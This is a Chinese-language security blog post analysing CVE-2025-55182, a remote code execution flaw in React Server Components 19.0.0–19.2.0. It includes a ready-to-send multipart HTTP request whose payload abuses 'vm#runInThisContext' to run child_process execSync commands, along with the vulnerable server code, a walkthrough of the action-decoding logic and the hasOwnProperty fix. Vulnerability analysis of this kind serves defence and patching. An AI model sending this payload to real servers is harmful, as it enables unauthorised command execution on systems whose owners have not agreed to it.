React 服务器组件原型链漏洞(CVE-2025-55182)

大家好,我是小王说安全CVE-2025-55182,刚出来的漏洞首当其冲就是dify,文章节选至"奇安信社区"的Werqy3 老师傅,文章末尾有我写的POC

CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。

漏洞描述

CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。

图片.png

影响范围

影响组件:react-server-dom-webpack < 19.2.0,react-server-dom-turbopack < 19.2.0,react-server-dom-parcel

影响版本:React 19.0.0、19.1.0、19.1.1、19.2.0

环境搭建

https://github.com/ejpir/CVE-2025-55182-poc/

图片.png

npm install
npm start

然后访问http://127.0.0.1:3002

图片.png

漏洞复现

POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
​
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
​
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
​
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--

image-20251205170316106

漏洞成因

React Server Actions 通过ACTION_REF_* 和 ACTION_ID_* 两类字段实现服务端函数调用,但在 19.2.0 及之前版本中,因缺少对模块导出属性的合法性校验,攻击者可借助 $ACTION_REF_* 机制注入任意 id(如 "vm#runInThisContext"),结合 Node.js 内置模块实现远程代码执行;19.2.1 通过 hasOwnProperty 检查和强化 Action 引用机制修复此问题。

image-20251205170253209

**$ACTION_REF_image-20251205170253209on 实例

  • 用途:用于调用一个已创建并携带闭包参数的 Server Action(例如通过 action.bind(null, arg1, arg2) 生成)。

  • 客户端表单行为

  • 提交时会生成多个 multipart 字段,例如:

image-20251205170336164

其中 0 是客户端生成的“action 实例 ID”,:0image-20251205170336164

服务端解析逻辑:

const prefix = "$ACTION_" + key.slice(12) + ":";
const boundArgs = collectAllFieldsStartingWith(prefix);
const action = decodeBoundActionMetaData(body, serverManifest, boundArgs);

最终构造出一个对象:

{ id: "someModule#someFunction", bound: [] }

**$ACTION_ID_***:直接模块/函数调用

  • 用途:调用某个模块中显式导出的 Server Action 函数

  • 典型场景

<form action={updatePassword}>

编译后生成:

$ACTION_ID_UserActions.updatePassword = ""

提取字段名 → 拆分为 moduleName = "UserActions", exportName = "updatePassword"

调用:

loadServerReference(serverManifest, "UserActions", "updatePassword");

最终执行 requireModule("UserActions")["updatePassword"]

漏洞利用

  1. 攻击者构造 multipart 请求:

$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"vm#runInThisContext","bound":["...恶意代码..."]}

服务端 decodeAction 解析出:

{ id: "vm#runInThisContext", bound: [payload] }
  • 调用 loadServerReference("vm", "runInThisContext")

  • requireModule("vm")["runInThisContext"] 返回 vm.runInThisContext(因无 hasOwnProperty 检查)

  • 执行 bound 中的代码 → RCE

漏洞分析

看看下载的源码

if (req.method === 'POST' && req.url === '/formaction') {
    const chunks = [];
    req.on('data', chunk => chunks.push(chunk));
    req.on('end', async () => {
      try {
        const buffer = Buffer.concat(chunks);
        const contentType = req.headers['content-type'] || '';
        const boundaryMatch = contentType.match(/boundary=(.+)/);
​
        if (!boundaryMatch) throw new Error('No boundary');
​
        const formData = parseMultipart(buffer, boundaryMatch[1]);
​
        console.log('FormData:');
        formData.forEach((v, k) => console.log(`  ${k}: ${v}`));
​
        // THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule
        // requireModule does: moduleExports[metadata[2]] without hasOwnProperty check!
        const actionFn = await decodeAction(formData, serverManifest);
​
        console.log('Action result:', actionFn, typeof actionFn);
​
        if (typeof actionFn === 'function') {
          const result = actionFn();
          res.writeHead(200, { 'Content-Type': 'application/json' });
          res.end(JSON.stringify({ success: true, result: String(result) }));
        } else {
          res.writeHead(200, { 'Content-Type': 'application/json' });
          res.end(JSON.stringify({ success: true, action: String(actionFn) }));
        }
      } catch (e) {
        console.error('Error:', e.message, e.stack);
        res.writeHead(500, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({ error: e.message }));
      }
    });
    return;
  }
​
  res.writeHead(404);
  res.end('Not found');
});

这里处理 /formaction路由 的请求 —— 这是一个 自定义 Server Action 端点,模拟了 RSC 行为

const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
  const buffer = Buffer.concat(chunks);

完整读取原始 HTTP 请求体

const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);

解析 multipart/form-data,得到一个 Map 类型的 formData

const actionFn = await decodeAction(formData, serverManifest);
  • 遍历 formData,寻找以ACTION_REF_ 或 ACTION_ 开头的字段;

  • 对于ACTION_REF_0,它会提取所有 ACTION_0:* 字段;

  • $ACTION_0:0 的值(JSON 字符串)解析为对象

  • 调用 loadServerReference(serverManifest, "vm", "runInThisContext")

  • 最终进入 requireModule(metadata)

调用 requireModule,没有检查"runInThisContext" 是否是 moduleExports 的自有属性,moduleExports["runInThisContext"] 返回真实的 vm.runInThisContext 函数,此时已获得一个可在当前上下文执行任意 JS 的函数

图片.png 因此 actionFn() 调用时,会执行:

vm.runInThisContext('global.process.mainModule.require("child_process").execSync("dir").toString()')

漏洞修复

图片.png

代码修复里面添加了hasOwnProperty 检查,只允许访问对象自身的属性

POC获取

关注公众号小王说安全,回复CVE-2025-55182,可获取相关POC。

扫码_搜索联合传播样式-白色版-qeTm.png